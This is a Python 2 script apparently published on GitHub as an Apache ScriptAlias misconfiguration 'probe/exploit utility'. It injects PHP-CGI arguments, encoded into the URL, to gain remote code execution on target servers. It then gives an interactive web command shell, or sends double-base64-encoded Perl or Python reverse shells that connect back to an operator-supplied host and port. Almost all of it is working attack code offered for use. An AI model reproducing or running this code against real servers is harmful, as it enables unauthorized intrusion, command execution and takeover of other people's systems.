-
Notifications
You must be signed in to change notification settings - Fork 60
/
Copy pathlolapache.py
161 lines (151 loc) · 5.73 KB
/
lolapache.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/python
# Apache ScriptAlias shit config scanner/exploit
import payloads
from payloads import all
import sys
import requests
import time
# borrowed shamelessly from subzero.py by HTP because funny
cyan = "\x1b[1;36m"
red = "\x1b[1;31m"
clear = "\x1b[0m"
def flash(color,text,times):
sys.stdout.write(text)
line1 = "\x0d\x1b[2K%s%s" % (color,text)
line2 = "\x0d\x1b[2K%s%s" % (clear,text)
for x in range(0,times):
sys.stdout.write(line1)
sys.stdout.flush()
time.sleep(.2)
sys.stdout.write(line2)
sys.stdout.flush()
time.sleep(.2)
print line2
def probe(path):
trigger = "/" + path + "/php?"
trigger += "%2D%64+%61%6C%6C%6F%77%5F%75%72%"
trigger += "6C%5F%69%6E%63%6C%75%64%65%3D%6F"
trigger += "%6E+%2D%64+%73%61%66%65%5F%6D%6F"
trigger += "%64%65%3D%6F%66%66+%2D%64+%73%75"
trigger += "%68%6F%73%69%6E%2E%73%69%6D%75%6"
trigger += "C%61%74%69%6F%6E%3D%6F%6E+%2D%64"
trigger += "+%64%69%73%61%62%6C%65%5F%66%75%"
trigger += "6E%63%74%69%6F%6E%73%3D%22%22+%2"
trigger += "D%64+%6F%70%65%6E%5F%62%61%73%65"
trigger += "%64%69%72%3D%6E%6F%6E%65+%2D%64+"
trigger += "%61%75%74%6F%5F%70%72%65%70%65%6"
trigger += "E%64%5F%66%69%6C%65%3D%70%68%70%"
trigger += "3A%2F%2F%69%6E%70%75%74+%2D%6E"
url = "http://" + ip + trigger
php = """<?php echo "Content-Type:text/html\r\n\r\n"; echo md5('1337x'); ?>"""
try:
haxor = requests.post(url, php)
if "44e902a5aa760d79b76e070fa6725386" in haxor.text:
flash(red,"[!] EXPLOITABLE",3)
pwnit(path)
else:
pass
except Exception, e:
print 'no connect'
pass
def pwnit(path):
# I should declare this better sometime. For now is OK.
trigger = "/" + path + "/php?"
trigger += "%2D%64+%61%6C%6C%6F%77%5F%75%72%"
trigger += "6C%5F%69%6E%63%6C%75%64%65%3D%6F"
trigger += "%6E+%2D%64+%73%61%66%65%5F%6D%6F"
trigger += "%64%65%3D%6F%66%66+%2D%64+%73%75"
trigger += "%68%6F%73%69%6E%2E%73%69%6D%75%6"
trigger += "C%61%74%69%6F%6E%3D%6F%6E+%2D%64"
trigger += "+%64%69%73%61%62%6C%65%5F%66%75%"
trigger += "6E%63%74%69%6F%6E%73%3D%22%22+%2"
trigger += "D%64+%6F%70%65%6E%5F%62%61%73%65"
trigger += "%64%69%72%3D%6E%6F%6E%65+%2D%64+"
trigger += "%61%75%74%6F%5F%70%72%65%70%65%6"
trigger += "E%64%5F%66%69%6C%65%3D%70%68%70%"
trigger += "3A%2F%2F%69%6E%70%75%74+%2D%6E"
url = "http://" + ip + trigger
print "[-] \x1b[0;31mBeginning Ownage Mode...\x1b[0m"
print "1. Reverse Shell (Perl)"
print "2. Reverse Shell (Python)"
print "3. Inline Shell with PHP"
mode = raw_input("> ")
if mode == "1":
reverse(url, stype="perl")
elif mode == "2":
reverse(url, stype="python")
elif mode == "3":
getshell(url)
else:
flash(red,"[!] INVALID MODE",3)
flash(red,"[!] USING INLINE SHELL",3)
getshell(url)
def genrshell(lhost, lport, stype):
if stype == "perl":
rshell = payloads.linux.perl.reverse_oneline(lhost, lport)
elif stype == "python":
rshell = payloads.linux.python.reverse_oneline(lhost, lport)
return rshell
def genphp(cmd):
rawphp = """echo "Content-Type:text/html\r\n\r\n"; system('%s');""" %(cmd) # to return results :D
encodedphp = rawphp.encode('base64')
payload = """<?php eval(base64_decode('%s'));die(); ?>""" %(encodedphp) # i maek a payloadz
return payload #return the evil
def genencphp(cmd):
encoded = cmd.encode('base64')
encoded = encoded.strip()
encoded = encoded.replace('\n', '')
encoded = encoded.encode('base64')
encoded = encoded.strip()
encoded = encoded.replace('\n', '') # BADCHARS EH? ILL ENCODE THEM SHITS YO
raw = """system(base64_decode(base64_decode('%s')));""" %(encoded)
payload = """<?php %s ?>""" %(raw) # i maek a bleep bleep
return payload
def getshell(url):
while True: # because. infinite win
try: # there is no try, there is only do, and do not...
cmd = raw_input("shell:~$ ")
if cmd == "quit": #rip
print "\n[-] Quitting"
sys.exit(0)
elif cmd == "exit": #rip
print "\n[-] Quitting"
sys.exit(0)
else:
try:
payload = genphp(cmd)
hax = requests.post(url, payload)
print hax.text
except Exception or KeyboardInterrupt:
print "[-] Exception Caught, I hope"
sys.exit(-5) # why the fork is it minus five anyway?
except Exception or KeyboardInterrupt:
print "[-] Exception or CTRL+C Caught, I hope"
print "[-] Exiting (hopefully) cleanly..."
sys.exit(0)
def reverse(url, stype):
flash(cyan,"[*] LETS DO A REVERSE SHELL",3)
lhost = raw_input("Backconnect IP: ")
lport = raw_input("Backconnect Port: ")
rshell = genrshell(lhost, lport, stype)
payload = genencphp(rshell)
print "[+] Sending reverse shell to %s:%s" %(lhost, lport)
requests.post(url, payload) # lolhax!
sys.exit(0)
# and now because too lazy to do a main() and because why not
print "Apache 'ScriptAlias' Misconfiguration Probe/Exploit Utility"
print " infodox - Insecurety Research (2013) - insecurety.net"
if len(sys.argv) != 2:
print "Usage: %s <target>" %(sys.argv[0])
sys.exit(0)
else:
ip = sys.argv[1]
input = "paths.txt"
i = open(input, 'r')
lines = i.readlines()
flash(cyan,"[+] Probing Paths...",3)
for path in lines:
path = path.strip()
probe(path)
# If we have successful exploitation, we never get here!
flash(red,"[!] Apache Wins",3)